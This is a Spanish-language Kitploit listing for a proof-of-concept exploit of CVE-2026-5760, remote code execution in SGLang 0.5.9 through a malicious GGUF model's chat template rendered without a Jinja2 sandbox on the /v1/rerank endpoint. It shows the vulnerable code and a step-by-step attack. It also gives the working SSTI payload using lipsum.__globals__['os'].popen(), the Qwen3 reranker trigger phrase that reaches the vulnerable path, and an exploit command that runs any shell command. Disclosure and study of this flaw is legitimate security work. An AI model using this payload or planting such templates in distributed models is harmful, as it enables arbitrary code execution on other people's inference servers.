Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
SGLang-0.5.9-RCE — Prueba de concepto de la explotación de CVE-2026-5760 - RCE en SGLang 0.5.9 mediante GGUF malicioso | Kitploit
Herramientas/GitHubGitHub/stuub/sglang-0.5.9-rce
Generación de PayloadsAnálisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebCTFPruebas de PenetraciónAprendizaje y Educación
GitHubstuub/sglang-0.5.9-rce

SGLang-0.5.9-RCE

Prueba de concepto de la explotación de CVE-2026-5760 - RCE en SGLang 0.5.9 mediante GGUF malicioso

Ver Repositorio
52hace 4 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

SGLang SSTI a RCE PoC — Renderizado de plantillas de chat Jinja2 sin sandbox (CVE-2026-5760)

Ejecución remota de código mediante inyección de plantillas del lado del servidor (SSTI) en el endpoint de reranking de SGLang. Un archivo de modelo GGUF malicioso con un tokenizer.chat_template manipulado logra ejecución arbitraria de código cuando se carga en SGLang y se llama al endpoint /v1/rerank.

Características

Aprovechando una vulnerabilidad de severidad crítica en SGLang a través del renderizado de plantillas Jinja2 sin sandbox. El endpoint de reranking de SGLang (/v1/rerank) renderiza las plantillas de chat suministradas por el modelo usando jinja2.Environment() en lugar de ImmutableSandboxedEnvironment, lo que permite que un modelo malicioso ejecute código Python arbitrario en el servidor de inferencia.

Esta es la misma clase de vulnerabilidad que CVE-2024-34359 ("Llama Drama"), que afectaba a llama-cpp-python.

Recorrido del ataque

  1. El atacante crea un archivo de modelo GGUF con un tokenizer.chat_template malicioso que contiene un payload SSTI de Jinja2
  2. La plantilla incluye la frase disparadora del reranker Qwen3 para activar la ruta de código vulnerable en serving_rerank.py
  3. La víctima descarga y carga el modelo en SGLang (por ejemplo, desde HuggingFace)
  4. Cuando cualquier solicitud llega a /v1/rerank, SGLang lee el chat_template y lo renderiza con jinja2.Environment() — sin sandbox
  5. El payload SSTI ejecuta código Python arbitrario en el servidor

Código vulnerable

Archivo: python/sglang/srt/entrypoints/openai/serving_rerank.py

root@kitploit:~
# serving_rerank.py lines 128-132 — UNSANDBOXED
def _get_jinja_env():
    return jinja2.Environment(           # <-- Should be ImmutableSandboxedEnvironment
        loader=jinja2.BaseLoader(),
        autoescape=False,
        undefined=jinja2.Undefined,
    )

Uso

El PoC genera un archivo GGUF malicioso y demuestra la ejecución de código a través de la ruta de renderizado sin sandbox de SGLang.

root@kitploit:~
python3 exploit.py "id"

Pasa cualquier comando de shell como argumento — el valor predeterminado es id.

Payload SSTI

La plantilla de chat maliciosa incrustada en el archivo GGUF:

root@kitploit:~
MALICIOUS_TEMPLATE = (
    'The answer can only be "yes" or "no".\n'
    '{{ lipsum.__globals__["os"].popen("echo SGLANG_RCE_CONFIRMED").read() }}'
    '{% for message in messages %}{{ message["content"] }}{% endfor %}'
)
  • La frase disparadora (The answer can only be "yes" or "no") es necesaria para activar la detección del reranker Qwen3 de SGLang, enrutando la solicitud a través de la ruta vulnerable _render_jinja_chat_template().
  • lipsum.__globals__["os"].popen() escapa del contexto de Jinja2 para ejecutar comandos arbitrarios del sistema operativo.

Referencias

  • CVE-2026-5760
  • CVE-2024-34359 — Misma clase de vulnerabilidad en llama-cpp-python
  • CVE-2025-61620 — DoS en vLLM mediante plantillas de chat (misma superficie de ataque)
  • SGLang GitHub
  • CWE-1336: Neutralización incorrecta de elementos especiales utilizados en un motor de plantillas
  • CWE-94: Control incorrecto de la generación de código

Descargo de responsabilidad

Esta herramienta es solo para investigación de seguridad autorizada y fines educativos. Úsala de manera responsable.

Descargar herramienta